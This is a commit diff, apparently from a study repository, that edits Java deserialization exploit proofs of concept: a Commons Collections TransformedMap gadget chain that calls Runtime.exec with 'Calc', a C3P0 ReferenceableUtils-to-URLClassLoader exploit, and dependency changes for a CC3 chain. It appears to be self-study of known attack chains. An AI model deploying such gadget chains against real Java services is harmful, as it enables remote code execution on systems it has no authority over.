| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -6,7 +6,7 @@ | |||
| 6 | 6 | import java.lang.reflect.Method; | |
| 7 | 7 | import java.util.Hashtable; | |
| 8 | 8 | ||
| 9 | - // 从 ReferenceableUtils 出发,调用 URLClassLoader 的 EXP (但是失败了 | ||
| 9 | + // 从 ReferenceableUtils 出发,调用 URLClassLoader 的 EXP | ||
| 10 | 10 | public class RefToURLClassLoader { | |
| 11 | 11 | public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException { | |
| 12 | 12 | Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils"); | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -15,14 +15,15 @@ | |||
| 15 | 15 | // 最终的 EXP | |
| 16 | 16 | public class TransformMapEXP { | |
| 17 | 17 | public static void main(String[] args) throws Exception{ | |
| 18 | + String[] cmd = {"Calc"}; | ||
| 18 | 19 | Transformer[] transformers = new Transformer[]{ | |
| 19 | 20 | new ConstantTransformer(Runtime.class), | |
| 20 | 21 | new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数 | |
| 21 | 22 | new InvokerTransformer("getMethod", | |
| 22 | 23 | new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), | |
| 23 | 24 | new InvokerTransformer("invoke" | |
| 24 | 25 | , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), | |
| 25 | - new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) | ||
| 26 | + new InvokerTransformer("exec", new Class[]{String.class}, cmd) | ||
| 26 | 27 | }; | |
| 27 | 28 | ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); | |
| 28 | 29 | HashMap<Object, Object> hashMap = new HashMap<>(); | |
@@ -34,8 +35,8 @@ public static void main(String[] args) throws Exception{ | |||
| 34 | 35 | Object o = aihConstructor.newInstance(Target.class, transformedMap); | |
| 35 | 36 | ||
| 36 | 37 | // 序列化反序列化 | |
| 37 | - serialize(o); | ||
| 38 | - //unserialize("ser.bin"); | ||
| 38 | + // serialize(o); | ||
| 39 | + unserialize("ser.bin"); | ||
| 39 | 40 | } | |
| 40 | 41 | public static void serialize(Object obj) throws IOException { | |
| 41 | 42 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -9,12 +9,25 @@ | |||
| 9 | 9 | <version>1.0-SNAPSHOT</version> | |
| 10 | 10 | ||
| 11 | 11 | <dependencies> | |
| 12 | - <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> | ||
| 13 | 12 | <dependency> | |
| 14 | 13 | <groupId>commons-collections</groupId> | |
| 15 | 14 | <artifactId>commons-collections</artifactId> | |
| 16 | 15 | <version>3.2.1</version> | |
| 17 | 16 | </dependency> | |
| 17 | + | ||
| 18 | + <dependency> | ||
| 19 | + <groupId>org.javassist</groupId> | ||
| 20 | + <artifactId>javassist</artifactId> | ||
| 21 | + <version>3.27.0-GA</version> | ||
| 22 | + </dependency> | ||
| 23 | + | ||
| 24 | + <dependency> | ||
| 25 | + <groupId>org.jboss.classpool</groupId> | ||
| 26 | + <artifactId>jboss-classpool</artifactId> | ||
| 27 | + <version>1.0.0.GA</version> | ||
| 28 | + </dependency> | ||
| 29 | + | ||
| 30 | + | ||
| 18 | 31 | </dependencies> | |
| 19 | 32 | <properties> | |
| 20 | 33 | <maven.compiler.source>8</maven.compiler.source> | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,3 +1,5 @@ | |||
| 1 | + package main.CC3ysoEXP; | ||
| 2 | + | ||
| 1 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
| 2 | 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
| 3 | 5 | import org.apache.commons.collections.Transformer; | |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -1,3 +1,5 @@ | |||
| 1 | + package main.CC3ysoEXP; | ||
| 2 | + | ||
| 1 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; | |
| 2 | 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; | |
| 3 | 5 | import org.apache.commons.collections.Transformer; | |
| Back | FazBrowse Home | New Git URL |
0 commit comments